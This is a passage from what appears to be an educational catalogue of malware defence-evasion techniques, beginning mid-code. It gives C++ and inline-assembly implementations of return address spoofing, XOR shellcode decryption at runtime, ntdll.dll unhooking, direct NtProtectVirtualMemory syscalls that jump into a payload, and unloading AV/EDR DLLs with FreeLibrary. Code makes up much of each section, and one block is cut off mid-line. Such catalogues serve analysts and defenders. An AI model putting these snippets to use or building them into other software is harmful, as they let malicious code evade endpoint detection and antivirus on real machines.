            typename First = void*,
            typename Second = void*,
            typename Third = void*,
            typename Fourth = void*
        >
        static auto do_call(
            const void* shell,
            void* shell_param,
            First first = First{},
            Second second = Second{},
            Third third = Third{},
            Fourth fourth = Fourth{}
        ) -> Ret
        {
            return shellcode_stub_helper<
                Ret,
                First,
                Second,
                Third,
                Fourth,
                void*,
                void*
            >(
                shell,
                first,
                second,
                third,
                fourth,
                shell_param,
                nullptr
            );
        }
    };
}


template <typename Ret, typename... Args>
static inline auto spoof_call(
    const void* trampoline,
    Ret(*fn)(Args...),
    Args... args
) -> Ret
{
    struct shell_params
    {
        const void* trampoline;
        void* function;
        void* rbx;
    };

    shell_params p{ trampoline, reinterpret_cast<void*>(fn) };
    using mapper = detail::argument_remapper<sizeof...(Args), void>;
    return mapper::template do_call<Ret, Args...>((const void*)&detail::_spoofer_stub, &p, args...);
}

This C++ code demonstrates a technique called Return Address Spoofing, which is used in x64 architecture to evade the limitations of the x64 fastcall mechanism. The spoof_call function creates a temporary storage for shellcode on the stack, allowing it to hide its presence from memory scanners and security software while maintaining malicious functionality.

Runtime Function Decryption

Runtime Function Decryption is a technique used to store function bodies in an encrypted form. These functions are decrypted just before their execution and re-encrypted after execution, making it challenging for static analysis tools to analyze the code effectively.

This technique is notably employed by SmokeLoader to evade detection by antivirus and Endpoint Detection and Response (EDR) systems. By encrypting the function bodies except during execution, SmokeLoader enhances its stealth capabilities and complicates static analysis processes.

#include <iostream>

// Function to decrypt shellcode
void decryptShellcode(int size, unsigned char xor_key, unsigned char* shellcode) {
    // XOR each byte of the shellcode with the given key
    for (int i = 0; i < size; ++i) {
        shellcode[i] ^= xor_key;
    }
}

int main() {
    // Example shellcode
    unsigned char shellcode[] = { 0x90, 0x33, 0x12, 0x45, 0x78, 0xAB, 0xCD, 0xEF };

    // Size of the shellcode
    int size = sizeof(shellcode) / sizeof(shellcode[0]);

    // XOR key used for encryption
    unsigned char xor_key = 0xAA;

    // Decrypt the shellcode
    decryptShellcode(size, xor_key, shellcode);

    // Display the decrypted shellcode
    std::cout << "Decrypted Shellcode: ";
    for (int i = 0; i < size; ++i) {
        std::cout << std::hex << static_cast<int>(shellcode[i]) << " ";
    }
    std::cout << std::endl;

    return 0;
}

This C++ code demonstrates a simple implementation of the Runtime Function Decryption technique. The decryptShellcode function takes the size of the shellcode, an XOR key, and a pointer to the encrypted shellcode as input. It then XORs each byte of the shellcode with the given key to decrypt it. This technique ensures that the shellcode remains encrypted when stored but is decrypted at runtime just before execution, enhancing evasion capabilities against static analysis.

DLL Unhooking

Endpoint Detection and Response (EDR) tools utilize hooking techniques to monitor critical system functions within Dynamic Link Libraries (DLLs) of loaded processes. However, malware can employ DLL unhooking techniques to evade detection by restoring the original code section of the DLL, effectively bypassing the EDR's monitoring mechanisms.

How DLL Unhooking Works

  1. Hooking by EDRs: EDRs modify the first instructions of functions within DLLs. When these functions are called, the program's execution flow is diverted to the EDR's code for inspection.

  2. Unhooking by Malware: Malware restores the entire DLL code section (.text) to its original state, effectively removing the hooks placed by the EDR.

Unhooking Strategies

  1. Acquiring Unmodified DLL: Malware can obtain an unhooked DLL directly from the system, from a remote host matching the OS version of the target system, or by retrieving the DLL content from a suspended process.

  2. Targeting Specific DLLs: While NTDLL.dll is commonly targeted due to its proximity to the kernel, some EDRs may hook APIs in higher-level DLLs like kernel32.dll or user32.dll.

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>

int main()
{
    // Get handle to self
    HANDLE process = GetCurrentProcess();
    MODULEINFO mi = {};

    // Get handle to ntdll.dll
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

    // Parse ntdll.dll from disk
    GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
        // Update .text section
        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD

This C++ code demonstrates a simple DLL unhooking technique targeting NTDLL.dll. It retrieves the original content of the .text section from the disk and overwrites the hooked section in memory, effectively restoring the DLL to its unhooked state.

Evasion Using Direct Syscalls

In the Windows operating system, malware often leverages specific functions from the kernel32.dll library, which eventually trigger corresponding functions within the ntdll.dll library via system calls (syscalls). However, to evade detection by Endpoint Detection and Response (EDR) and Antivirus (AV) systems, malware authors can bypass traditional function calls and directly invoke syscalls using assembly code. This technique enables malware to execute its payload without relying on conventional Windows API functions, thereby evading monitoring and detection by security tools.

Key Aspects of This Technique

  • Direct Syscalls: By directly invoking syscalls using assembly code, malware avoids calling higher-level Windows API functions, which are often monitored by security tools.

  • Flexibility in Naming: Malware authors can name the external functions arbitrarily, enhancing the complexity of analysis. This naming flexibility makes it challenging for analysts to identify and analyze malicious behavior.

Operational Mechanism

  1. Setting up Markers: The main function initializes markers using inline assembly and calls an external function to unprotect the heap variable location containing the executable payload.

  2. Invoking Syscalls: The external function, converted into assembly code, triggers the syscall (e.g., NtProtectVirtualMemory) directly, bypassing traditional function calls.

  3. Executing Payload: After protecting the heap variable, the main function preserves the registers and executes the payload via another external function, which translates to a "jmp" instruction directing execution to the heap location.

  4. Returning to Main Function: Upon completion of the payload execution, the payload returns to the main function via a "jmp" instruction. The return location is preserved in the R15 register using inline assembly.

  • GetCurrentProcess
#include <windows.h>
#include <stdio.h>

BYTE payload[] =   
    "\x90\x90\x90\x90\x58" // these get clobbered by syscall
    // Payload assembly code here...

int main(){
    // Get current process handle
    HANDLE hProcess = GetCurrentProcess();

    // Get payload address
    PVOID baseAddress = payload;

    // Get region size
    SIZE_T regionSize = sizeof(payload);

    // oldProtect, putting this variable inside of main() allocates it on the stack
    // putting this variable before the inline assembly ensures that it gets passed
    // to our syscall as the 5th variable to our syscall per the x86_64 convention
    SIZE_T oldProtect = 0x40;

    // Call NtProtectVirtualProtect syscall
    asm("mov rcx, %0;" :: "m" (hProcess));
    asm("mov rdx, %0;" :: "r" (&baseAddress));
    asm("mov r8, %0;" :: "r" (&regionSize));
    asm("lea r9, [%0];" :: "r" (PAGE_EXECUTE_READWRITE));
    asm("mov r10,rcx;"
        "mov rax, 0x50;" // syscall number for NtProtectVirtualMemory
        "syscall");

    // Jmp to payload
    asm("lea r15, [rip + return_main_2];"
        "jmp rax;"
        :: "r" (baseAddress));

    // Payload returns here
    asm("return_main_2:");

    printf("Sayonara!\n");

    return 0;
}

This C++ code demonstrates the evasion technique using direct syscalls. It directly invokes the NtProtectVirtualMemory syscall to unprotect the heap variable location containing the payload and executes the payload without relying on conventional Windows API functions.

Unloading Module With FreeLibrary

Malware authors often employ evasive techniques to avoid detection by antivirus (AV) or endpoint detection and response (EDR) solutions. One such technique involves unloading security-related DLLs that may be loaded in the malware's address space, thereby disabling monitoring and allowing the malware to execute its malicious code undetected.

Operational Overview

  1. Check for DLL Presence: The malware utilizes the GetModuleHandleA function to retrieve a handle to the target DLL, such as an AV or EDR component, if it's already loaded into memory.

  2. Unload DLL: Once a valid handle is obtained, the malware calls the FreeLibrary function to free and unload the DLL from the process's memory, effectively removing it from the address space.

Key Aspects of This Technique

  • GetModuleHandleA: Retrieves a handle to a module (DLL) that is already loaded in the process's memory.

  • FreeLibrary: Frees a loaded DLL from the process's memory, effectively unloading it.

  • GetModuleHandleA

  • FreeLibrary

#include <windows.h>

int main()
{
  // Retrieve handle to the target DLL
  HMODULE hLibModule = GetModuleHandleA("av_edr_dllName.dll");

  // Check if handle is valid
  if (hLibModule != NULL)
  {
    // Unload the DLL from memory
    FreeLibrary(hLibModule);
  }

  return 0;
}

This C++ code demonstrates how the GetModuleHandleA and FreeLibrary functions can be used to unload a DLL, such as an AV or EDR component, from the process's memory. It should be noted that this technique can be used maliciously to disable security measures, and therefore, its usage should adhere to ethical and legal considerations.

References

  • Maldev Academy

  • Nooranet

  • Unprotect Project